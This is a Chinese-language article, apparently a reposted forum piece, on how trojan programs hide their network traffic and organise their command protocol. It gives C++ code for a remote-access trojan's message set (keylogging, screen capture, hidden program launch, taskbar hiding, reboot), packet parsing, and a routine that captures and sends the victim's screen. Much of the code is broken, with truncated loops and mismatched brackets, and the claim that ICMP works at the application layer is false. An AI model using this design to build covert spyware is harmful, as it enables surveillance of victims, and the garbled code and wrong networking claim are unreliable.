信息來源:ytt
木馬程序的數據傳遞方法有很多種,其中最常見的要屬TCP,UDP傳輸數據的方法了,通常
是利用Winsock與目標機的指定端口建立起連接,使用send和recv等API進行數據的傳遞,但
是由于這種方法的隱蔽性比較差,往往容易被一些工具軟件查看到,最簡單的,比如在命令
行狀態下使用netstat命令,就可以查看到當前的活動TCP,UDP連接。
C:\Documents and Settings\bigball>netstat -n
Active Connections
Proto Local Address Foreign Address State
TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED
TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED
TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED
TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED
TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT
TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED
TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT
C:\Documents and Settings\bigball>netstat -a
Active Connections
Proto Local Address Foreign Address State
TCP Liumy:echo Liumy:0 LISTENING
TCP Liumy:discard Liumy:0 LISTENING
TCP Liumy:daytime Liumy:0 LISTENING
TCP Liumy:qotd Liumy:0 LISTENING
TCP Liumy:chargen Liumy:0 LISTENING
TCP Liumy:epmap Liumy:0 LISTENING
TCP Liumy:microsoft-ds Liumy:0 LISTENING
TCP Liumy:1025 Liumy:0 LISTENING
TCP Liumy:1026 Liumy:0 LISTENING
TCP Liumy:1031 Liumy:0 LISTENING
TCP Liumy:1032 Liumy:0 LISTENING
TCP Liumy:1112 Liumy:0 LISTENING
TCP Liumy:1135 Liumy:0 LISTENING
TCP Liumy:1142 Liumy:0 LISTENING
TCP Liumy:1801 Liumy:0 LISTENING
TCP Liumy:3372 Liumy:0 LISTENING
TCP Liumy:3389 Liumy:0 LISTENING
TCP Liumy:netbios-ssn Liumy:0 LISTENING
TCP Liumy:1028 Liumy:0 LISTENING
TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB
TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI
TCP Liumy:1135 202.130.239.223:http ESTABLISHED
TCP Liumy:1142 202.130.239.223:http ESTABLISHED
TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT
TCP Liumy:1170 202.130.239.133:http TIME_WAIT
TCP Liumy:2103 Liumy:0 LISTENING
TCP Liumy:2105 Liumy:0 LISTENING
TCP Liumy:2107 Liumy:0 LISTENING
UDP Liumy:echo *:*
UDP Liumy:discard *:*
UDP Liumy:daytime *:*
UDP Liumy:qotd *:*
UDP Liumy:chargen *:*
UDP Liumy:epmap *:*
UDP Liumy:snmp *:*
UDP Liumy:microsoft-ds *:*
UDP Liumy:1027 *:*
UDP Liumy:1029 *:*
UDP Liumy:3527 *:*
UDP Liumy:4000 *:*
UDP Liumy:4001 *:*
UDP Liumy:1033 *:*
UDP Liumy:1148 *:*
UDP Liumy:netbios-ns *:*
UDP Liumy:netbios-dgm *:*
UDP Liumy:isakmp *:*
但是,黑客還是用種種手段躲避了這種偵察,就我所知的方法大概有兩種,一種是合并
端口法,也就是說,使用特殊的手段,在一個端口上同時綁定兩個TCP或者UDP連接,這聽起
來不可思議,但事實上確實如此,而且已經出現了使用類似方法的程序,通過把自己的木馬
端口綁定于特定的服務端口之上,(比如80端口的HTTP,誰懷疑他會是木馬程序呢?)從而
達到隱藏端口的目地。另外一種辦法,是使用ICMP(Internet Control Message Protocol)
協議進行數據的發送,原理是修改ICMP頭的構造,加入木馬的控制字段,這樣的木馬,具備很
多新的特點,不占用端口的特點,使用戶難以發覺,同時,使用ICMP可以穿透一些防火墻,
從而增加了防范的難度。之所以具有這種特點,是因為ICMP不同于TCP,UDP,ICMP工作于網
絡的應用層不使用TCP協議。關于網絡層次的結構,下面給出圖示:
5、發送數據的組織方法
關于數據的組織方法,可以說是數學上的問題。關鍵在于傳遞數據的可靠性,壓縮性,
以及高效行。木馬程序,為了避免被發現,必須很好的控制數據傳輸量,一個編制較好的木
馬,往往有自己的一套傳輸協議,那么程序上,到底是如何組織實現的呢?下面,我舉例包
裝一些協議:
typedef struct{ //定義消息結構
//char ip[20];
char Type; //消息種類
char Password[20]; //密碼
int CNum; //消息操作號
//int Length; //消息長度
}Msg;
#define MsgLen sizeof(Msg)
//-------------------------------------------
//對話框數據包定義:Dlg_Msg_Type.h
//-------------------------------------------
//定義如下消息類型:
#define MsgDlgCommon 4//連接事件
#define MsgDlgSend 5//發送完成事件
//消息結構
typedef struct{
char Name[20];//對話框標題
char Msg[256];//對話框消息內容
}MsgDlgUint;
#define MsgDlgLen sizeof(MsgDlgUint)//消息單元長度
//------------------------------------------
//聊天數據包定義:Chat_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgChatCommon 0//連接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//結束事件
#define MsgChatReceived 16//確認對話內容收到
//消息結構
typedef struct{
char ClientName[20];//Client自定義的名稱
char Msg[256];//發送的消息
}MsgChatUint;
#define MsgChatLen sizeof(MsgChatUint)//消息單元長度
//------------------------------------------
//重啟數據包定義:Reboot_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgReBoot 15//重啟事件
//------------------------------------------
//目錄結構請求數據包定義:Dir_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096];//你要的目錄名
}MsgDirUint;
#define MsgDirUintLen sizeof(MsgDirUint)
// TCP的Msg
typedef struct{ //定義消息結構
char SType; //消息種類
char SPassword[20]; //密碼
//int SNum; //消息操作號
char *AllMsg;
}SMsg;
#define SMsgLen sizeof(SMsg)
#define MSGListProgram 19
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey 23
#define MSGTracekey 24
#define MsgCopyScreen 25//tcp接收消息,udp請求消息
#define MSGCopyWindow 26
//-------------------------
//鼠標指針隱藏和顯示控制
//-------------------------
#define MsgSetMouseStat 27//設置消息
#define MsgMouseStat 28//成功消息
typedef struct{
bool mouseshow;
}MsgSetMouseStatUint;
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)
//-------------------------
//任務欄隱藏和顯示控制
//-------------------------
#define MsgSetTaskBarStat 29//設置消息
#define MsgTaskBarStat 30//成功消息
typedef struct{
bool taskshow;
}MsgSetTaskBarStatUint;
#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)
//-------------------------
//得到機器名
//-------------------------
#define MsgGetNetBiosName 31//取請求
#define MsgNetBiosName 32//回送機器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)
//-------------------------
//關閉進程變更!
//-------------------------
#define MsgSetProgramClose 33//關閉請求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要關閉的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)
//-------------------------
//打開進程變更!
//-------------------------
#define MsgSetProgramOpen 20//打開請求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096]; //old struct : char ProgramName[128];//要打開的程序
的名字
bool ProgramShow;//前臺運行或后臺運行程序(隱藏運行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)
#define MsgGetHardWare 35//請求硬件信息(UDP消息)和回傳硬件信息(TCP消息)
上面一段定義,使用了TCP和UDP兩種協議目的就是為了減少TCP連接的幾率,這樣所消耗
的系統資源就會比較少,不容易讓目標機察覺。很多木馬程序中,都有像上面定義中類似的
密碼定義,目地是為了防止非真實客戶機的連接請求。SNum 為消息操作號,它
的作用是為了效驗數據是否是發送過的,經過分析而知,我們熟悉的OICQ也正是使用了這一
辦法來校驗消息的。
數據協議組織好,還有一步工作,就是數據的打包發送,一般的方法是把全部數據壓為
一個VOID類型的數據流,然后發送:
Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="機器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}
當服務器端收到數據后,首先要做的工作是解包還原VOID流為結構化的協議,這里同樣給
出事例代碼:
NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}
此外,很多木馬程序支持了屏幕回傳的功能,其根本的原理是先捕獲屏幕畫面,然后回
傳給客戶機,由于畫面的數據量很大所以,很多木馬程序都是在畫面改變的時候才回傳改變
部分的畫面,常用的手段是最小矩形法,下面以好友“古老傳說”的一段算法舉例:
#define MAXXCount 10 //屏幕X方向最多分割塊數
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每塊的偏移檢測點最大個數
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后執行:
//另外:接收到的數據包中分析出 Dnum ,Qlity
//Dnum:偏移觀測點數量
//Qlity:圖象要求質量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只執行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函數功能:掃描改變的屏幕區域,并切經過優化處理,最后發送這些區域數據
//DNum: 偏移量 Qlity:圖象質量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x]
[nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}
int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
MaxCNum=0;
for (num4=num2+1;num4<=yCount;num4++){ //遍歷所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4));
if (CNum>MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CNum;
MinRect=TRect(num1,num2,num3,num4);
}
}
}
TMemoryStream *ms;
BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定義為:#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2->Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}
這個程序把屏幕畫面切分為了多個部分,并存儲畫面為JPG格式,這樣壓縮率就變的十分
的高了。通過這種方法壓縮處理過的數據,變得十分小,甚至在屏幕沒有改變的情況下,傳
送的數據量為0,在這里不做過多分析了,有興趣的朋友,可以多看看
地震讓大伙知道:居安思危,才是生存之道。